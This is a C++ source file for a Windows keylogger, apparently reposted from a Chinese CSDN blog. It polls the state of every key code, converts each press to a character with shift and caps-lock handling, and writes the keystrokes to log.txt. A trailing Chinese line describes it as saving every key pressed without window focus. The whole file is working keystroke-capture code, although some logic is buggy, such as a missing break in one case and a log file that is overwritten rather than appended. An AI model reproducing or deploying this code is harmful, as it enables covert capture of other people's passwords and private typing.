#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <fstream>
using namespace std;
const int KeyBoardValue = 0x80000000;
string GetKeyName(int);
bool JudgeShift();
int main()
{
string FileName = "log.txt";
string KeyName = "";
fstream FileStream;
//FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
FileStream.open(FileName.c_str());
while (1)
{
//Sleep(5);
//FileStream.open(FileName.c_str());
for (int i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) & 1 == 1) //判断虚拟按键是否按下，无论是一直按着还是按一下就弹起，只判断是否按过
{
KeyName = GetKeyName(i);
FileStream.write(KeyName.c_str(), KeyName.size());
FileStream.close(); //写完一次就保存一次
FileStream.open(FileName.c_str());
//FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
}
}
}
return 0;
}
string GetKeyName(int NumKey)
{
bool IS_SHIFT = JudgeShift();
string revalue = "";
//判断键盘中间的特殊符号
if (NumKey >= 186 && NumKey <= 222)
switch (NumKey)
{
case 186:
if (IS_SHIFT)
revalue = ":";
else
revalue = ";";
break;
case 187:
if (IS_SHIFT)
revalue = "+";
else
revalue = "=";
break;
case 188:
if (IS_SHIFT)
revalue = "<";
else
revalue = ",";
break;
case 189:
if (IS_SHIFT)
revalue = "_";
else
revalue = "-";
break;
case 190:
if (IS_SHIFT)
revalue = ">";
else
revalue = ".";
break;
case 191:
if (IS_SHIFT)
revalue = "?";
else
revalue = "/";
break;
case 192:
if (IS_SHIFT)
revalue = "~";
else
revalue = "`";
break;
case 219:
if (IS_SHIFT)
revalue = "{";
else
revalue = "[";
break;
case 220:
if (IS_SHIFT)
revalue = "|";
else
revalue = "\\";
break;
case 221:
if (IS_SHIFT)
revalue = "}";
else
revalue = "]";
break;
case 222:
if (IS_SHIFT)
revalue = '"';
else
revalue = ",";
default:
revalue = "error";
break;
}
if (NumKey == VK_ESCAPE) // 退出
revalue = "[Esc]";
else if (NumKey == VK_F1) // F1至F12
revalue = "[F1]";
else if (NumKey == VK_F2)
revalue = "[F2]";
else if (NumKey == VK_F3)
revalue = "[F3]";
else if (NumKey == VK_F4)
revalue = "[F4]";
else if (NumKey == VK_F5)
revalue = "[F5]";
else if (NumKey == VK_F6)
revalue = "[F6]";
else if (NumKey == VK_F7)
revalue = "[F7]";
else if (NumKey == VK_F8)
revalue = "[F8]";
else if (NumKey == VK_F9)
revalue = "[F9]";
else if (NumKey == VK_F10)
revalue = "[F10]";
else if (NumKey == VK_F11)
revalue = "[F11]";
else if (NumKey == VK_F12)
revalue = "[F12]";
else if (NumKey == VK_SNAPSHOT) // 打印屏幕
revalue = "[PrScrn]";
else if (NumKey == VK_SCROLL) // 滚动锁定
revalue = "[Scroll Lock]";
else if (NumKey == VK_PAUSE) // 暂停、中断
revalue = "[Pause]";
else if (NumKey == VK_CAPITAL) // 大写锁定
revalue = "[Caps Lock]";
else if (NumKey == 8) //<- 回格键
revalue = "[Backspace]";
else if (NumKey == VK_RETURN) // 回车键、换行
revalue = "[Enter]\n";
else if (NumKey == VK_SPACE) // 空格
revalue = " ";
else if (NumKey == VK_TAB) // 制表键
revalue = "[Tab]";
else if (NumKey == VK_LCONTROL) // 左控制键
revalue = "[Ctrl]";
else if (NumKey == VK_RCONTROL) // 右控制键
revalue = "[CTRL]";
else if (NumKey == VK_LMENU) // 左换档键
revalue = "[Alt]";
else if (NumKey == VK_LMENU) // 右换档键
revalue = "[ALT]";
else if (NumKey == VK_LWIN) // 右 WINDOWS 键
revalue = "[Win]";
else if (NumKey == VK_RWIN) // 右 WINDOWS 键
revalue = "[WIN]";
else if (NumKey == VK_APPS) // 键盘上 右键
revalue = "右键";
else if (NumKey == VK_INSERT) // 插入
revalue = "[Insert]";
else if (NumKey == VK_DELETE) // 删除
revalue = "[Delete]";
else if (NumKey == VK_HOME) // 起始
revalue = "[Home]";
else if (NumKey == VK_END) // 结束
revalue = "[End]";
else if (NumKey == VK_PRIOR) // 上一页
revalue = "[PgUp]";
else if (NumKey == VK_NEXT) // 下一页
revalue = "[PgDown]";
// 不常用的几个键:一般键盘没有
else if (NumKey == VK_CANCEL) // Cancel
revalue = "[Cancel]";
else if (NumKey == VK_CLEAR) // Clear
revalue = "[Clear]";
else if (NumKey == VK_SELECT) //Select
revalue = "[Select]";
else if (NumKey == VK_PRINT) //Print
revalue = "[Print]";
else if (NumKey == VK_EXECUTE) //Execute
revalue = "[Execute]";
//----------------------------------------//
else if (NumKey == VK_LEFT) //上、下、左、右键
revalue = "[←]";
else if (NumKey == VK_RIGHT)
revalue = "[→]";
else if (NumKey == VK_UP)
revalue = "[↑]";
else if (NumKey == VK_DOWN)
revalue = "[↓]";
else if (NumKey == VK_NUMLOCK)//小键盘数码锁定
revalue = "[NumLock]";
else if (NumKey == VK_ADD) // 加、减、乘、除
revalue = "+";
else if (NumKey == VK_SUBTRACT)
revalue = "-";
else if (NumKey == VK_MULTIPLY)
revalue = "*";
else if (NumKey == VK_DIVIDE)
revalue = "/";
else if (NumKey == 190 || NumKey == 110) // 小键盘 . 及键盘 .
revalue = ".";
//小键盘数字键:0-9
else if (NumKey == VK_NUMPAD0)
revalue = "0";
else if (NumKey == VK_NUMPAD1)
revalue = "1";
else if (NumKey == VK_NUMPAD2)
revalue = "2";
else if (NumKey == VK_NUMPAD3)
revalue = "3";
else if (NumKey == VK_NUMPAD4)
revalue = "4";
else if (NumKey == VK_NUMPAD5)
revalue = "5";
else if (NumKey == VK_NUMPAD6)
revalue = "6";
else if (NumKey == VK_NUMPAD7)
revalue = "7";
else if (NumKey == VK_NUMPAD8)
revalue = "8";
else if (NumKey == VK_NUMPAD9)
revalue = "9";
//----------------------------上述代码判断键盘上除了字母之外的功能键--------------------------------//
else if (NumKey >= 65 && NumKey <= 90)
{
if (GetKeyState(VK_CAPITAL))
{
if (IS_SHIFT)
revalue = NumKey + 32;
else
revalue = NumKey;
}
else
{
if (IS_SHIFT)
revalue = NumKey;
else
revalue = NumKey + 32;
}
}
//---------------------------上面的部分判断键盘上的字母----------------------------------------------//
else if (NumKey >= 48 && NumKey <= 57)
{
if (IS_SHIFT)
{
switch (NumKey)
{
case 48:revalue = ")"; break;
case 49:revalue = "!"; break;
case 50:revalue = "@"; break;
case 51:revalue = "#"; break;
case 52:revalue = "$"; break;
case 53:revalue = "%"; break;
case 54:revalue = "^"; break;
case 55:revalue = "&"; break;
case 56:revalue = "*"; break;
case 57:revalue = "("; break;
}
}
else
{
switch (NumKey)
{
case 48:revalue = "0"; break;
case 49:revalue = "1"; break;
case 50:revalue = "2"; break;
case 51:revalue = "3"; break;
case 52:revalue = "4"; break;
case 53:revalue = "5"; break;
case 54:revalue = "6"; break;
case 55:revalue = "7"; break;
case 56:revalue = "8"; break;
case 57:revalue = "9"; break;
}
}
}
return revalue;
}
bool JudgeShift()
{
int iShift = GetKeyState(0x10); //判断Shift键状态
bool IS = (iShift & KeyBoardValue) == KeyBoardValue; //表示按下Shift键
if (IS)
return 1;
else
return 0;
}
windows模拟键盘事件，无光标聚焦，按下键盘就能保存按下的键盘字符
原文地址：http://blog.csdn.net/chenxun_2010/article/details/42967119
